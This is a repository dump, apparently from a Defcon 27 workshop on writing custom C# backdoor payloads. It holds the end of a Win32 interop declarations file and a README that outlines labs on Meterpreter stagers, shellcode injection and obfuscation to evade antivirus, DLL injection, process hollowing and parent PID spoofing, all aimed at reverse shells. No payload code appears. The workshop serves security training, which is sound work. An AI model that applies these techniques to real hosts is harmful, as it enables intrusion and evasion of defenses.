hStdError; 158 | } 159 | 160 | [StructLayout(LayoutKind.Sequential)] 161 | internal struct PROCESS_INFORMATION 162 | { 163 | public IntPtr hProcess; 164 | public IntPtr hThread; 165 | public int dwProcessId; 166 | public int dwThreadId; 167 | } 168 | 169 | [StructLayout(LayoutKind.Sequential)] 170 | public struct SECURITY_ATTRIBUTES 171 | { 172 | public int nLength; 173 | public IntPtr lpSecurityDescriptor; 174 | [MarshalAs(UnmanagedType.Bool)] 175 | public bool bInheritHandle; 176 | } 177 | 178 | [Flags] 179 | public enum ProcessAccessFlags : uint 180 | { 181 | All = 0x001F0FFF, 182 | Terminate = 0x00000001, 183 | CreateThread = 0x00000002, 184 | VirtualMemoryOperation = 0x00000008, 185 | VirtualMemoryRead = 0x00000010, 186 | VirtualMemoryWrite = 0x00000020, 187 | DuplicateHandle = 0x00000040, 188 | CreateProcess = 0x000000080, 189 | SetQuota = 0x00000100, 190 | SetInformation = 0x00000200, 191 | QueryInformation = 0x00000400, 192 | QueryLimitedInformation = 0x00001000, 193 | Synchronize = 0x00100000 194 | } 195 | 196 | [Flags] 197 | enum HANDLE_FLAGS : uint 198 | { 199 | None = 0, 200 | INHERIT = 1, 201 | PROTECT_FROM_CLOSE = 2 202 | } 203 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Writing custom backdoor payloads with C# 2 | 3 | This workshop aims to provide attendees hands-on experience on writing custom backdoor payloads using C# for the most common command and control frameworks including Metasploit, Powershell Empire and Cobalt Strike. The workshop consists in 8 lab exercises; each of the exercises goes over a different technique that leverages C# and .NET capabilities to obtain a reverse shell on a victim Windows host. The covered techniques include raw shellcode injection, process injection, process hollowing, runtime compilation, parent pid spoofing, antivirus bypassing, etc. At the end of this workshop attendees will have a clear understanding of these techniques both from an attack and defense perspective. 4 | 5 | **Skill Level**: Intermediate 6 | 7 | **Prerequisites**: Basic to intermediate programming/scripting skills. Prior experience with C# helps but not required. 8 | 9 | **Materials**: Laptop with virtualization software. A Windows 10 virtual machine and a Kali Linux Virtual Machine. 10 | 11 | The "Writing custom back payloads with C#" workshop was first presented at [Defcon 27](https://www.defcon.org/html/defcon-27/dc-27-workshops.html#velazco). 12 | 13 | ## Authors 14 | 15 | * **Mauricio Velazco** - [@mvelazco](https://twitter.com/mvelazco) 16 | 17 | * **Olindo Verrillo** - [@olindoverrillo](https://twitter.com/olindoverrillo) 18 | 19 | ## Labs 20 | 21 | ### Lab 1 : Hello World 22 | 23 | The goal of this lab is to implement the typical Hello World example with C#. The first exercise uses .NETs Console class to print “Hello World” while the second uses .NETs Platform Invocation Services feature to import and call the Win32 Api MessageBox. 24 | 25 | ### Lab 2 : Custom Meterpreter Stager 26 | 27 | The goal of this lab is to write a custom Meterpreter stager with C# by leveraging the WebClient class to download meterpreter’s second stage and Win32 API functions to copy the second stage in memory and execute it. 28 | 29 | ### Lab 3 : Raw Shellcode Injection 30 | 31 | The goal of this lab is to write a custom binary that injects a pre-defined shellcode into memory and executes it. Metasploit’s msfvenom will be used to generate the shellcode and the same Win32 API calls used in Lab 2 will be used to perform the execution. 32 | 33 | ### Lab 4 : Shellcode Obfuscation 34 | 35 | The goal of this lab is to reduce detection of the custom payloads by signature based anti-malware. We can achieve this by obfuscating the shellcode generated by msfvenom using two common techniques: XOR and AES 36 | 37 | ### Lab 5 : PowerShell without PowerShell.exe 38 | 39 | The goal of this lab is to execute a Powershell script and avoid to use the powershell.exe binary by leveraging the .NET framework and C#. Using this technique, we will get a Powershell Empire agent. 40 | 41 | ### Lab 6 : DLL Injection 42 | 43 | The goal of this lab is to implement the DLL Injection technique using C# and obtain a reverse shell from a victim host. Using 3 different exercises, we will understand and implement the different steps for a successful injection. 44 | 45 | ### Lab 7 : Process Hollowing 46 | 47 | The goal of this lab is to understand and implement the Process Hollowing technique using C# technique to obtain a reverse shell on a victim host. 48 | 49 | ### Lab 8 : Parent Process Spoofing 50 | 51 | The goal of the final lab is to leverage C# to spawn a new process spoofing its parent process and inject shellcode to it to obtain a reverse shell. 52 | 53 | ## Acknowledgments 54 | 55 | Most of the labs on this workshop started from a Github repository/gist, a Stack Overflow code snippet or a Google search. Thank you to everyone who shares code for others to learn from. 56 | 57 | * https://github.com/pwndizzle/c-sharp-memory-injection 58 | * http://www.codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread 59 | * https://github.com/re4lity/subTee-gits-backups 60 | * https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt 61 | * https://gist.github.com/Arno0x/7f34e869cc847e088d3e107632e18294 62 | * https://github.com/leoloobeek/csharp/blob/master/ExecutionTesting.cs 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /Slides/WritingCustomPayloads_Defcon27_Slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/5652b2c351ccdc4e5af7e719e8f5eea737455ee8/Slides/WritingCustomPayloads_Defcon27_Slides.pdf --------------------------------------------------------------------------------